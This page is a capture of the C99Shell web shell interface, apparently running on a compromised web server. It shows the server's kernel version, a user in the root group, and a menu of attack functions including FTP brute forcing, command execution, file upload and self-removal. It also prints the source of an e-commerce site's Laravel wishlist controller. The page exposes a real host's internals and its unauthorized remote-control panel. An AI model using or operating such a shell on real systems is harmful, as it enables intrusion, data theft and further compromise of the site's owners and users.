!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/Site/   drwxr-xr-x
Free 26.19 GB of 117.98 GB (22.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WishlistController.php (2.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Site;

use 
App\Http\Controllers\Controller;
use 
App\Models\Wishlist;
use 
Illuminate\Http\Request;
use 
Auth;

class 
WishlistController extends Controller
{
    
/**
     * Wishlist
     *
     * @return \Illuminate\Http\Response
     */
    
public function index(Request $request)
    {
        
$filterDay = ['today' => today(), 'last_week' => now()->subWeek(), 'last_month' => now()->subMonth(), 'last_year' => now()->subYear()];

        
$wishlist Auth::user()->wishlist()->whereHas('product');
        if (isset(
$request->filter_day) && array_key_exists($request->filter_day$filterDay)) {
            
$wishlist Auth::user()->wishlist()->whereHas('product')->whereDate('created_at''>='$filterDay[$request->filter_day]);
        }

        
$data['wishlists'] = $wishlist->paginate(preference('row_per_page'));

        return 
view('site.wishlist.index'$data);
    }

    
/**
     * Store
     *
     * @return \Illuminate\Http\Response
     */
    
public function store(Request $request)
    {
        
$response = ['status' => 0'message' => __('Oops! Something went wrong, please try again.')];
        
$request['user_id'] = Auth::user()->id ?? null;

        if ((new 
Wishlist)->checkExistence($request['user_id'], $request->product_id)) {
            if (!isset(
$request->store_only)) {
                if (
Wishlist::where('user_id'\Auth::user()->id)->where('product_id'$request->product_id)->delete()) {
                    return [
'status' => 1'message' => __('The :x has been successfully deleted.', ['x' => __('Wishlist')])];
                }
                return 
$response;
            }
            return 
true;
        }
        return (new 
Wishlist)->store($request->all());
    }

    
/**
     * Delete
     * @param int $id
     * @return \Illuminate\Routing\Redirector
     */
    
public function destroy($productId)
    {
        if (
Wishlist::where('user_id'\Auth::user()->id)->where('product_id'$productId)->delete()) {
            return 
back()->withSuccess(__('The :x has been successfully deleted.', ['x' => __('Wishlist')]));
        }

        return 
back()->withFail(__('Something went wrong, please try again.'));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--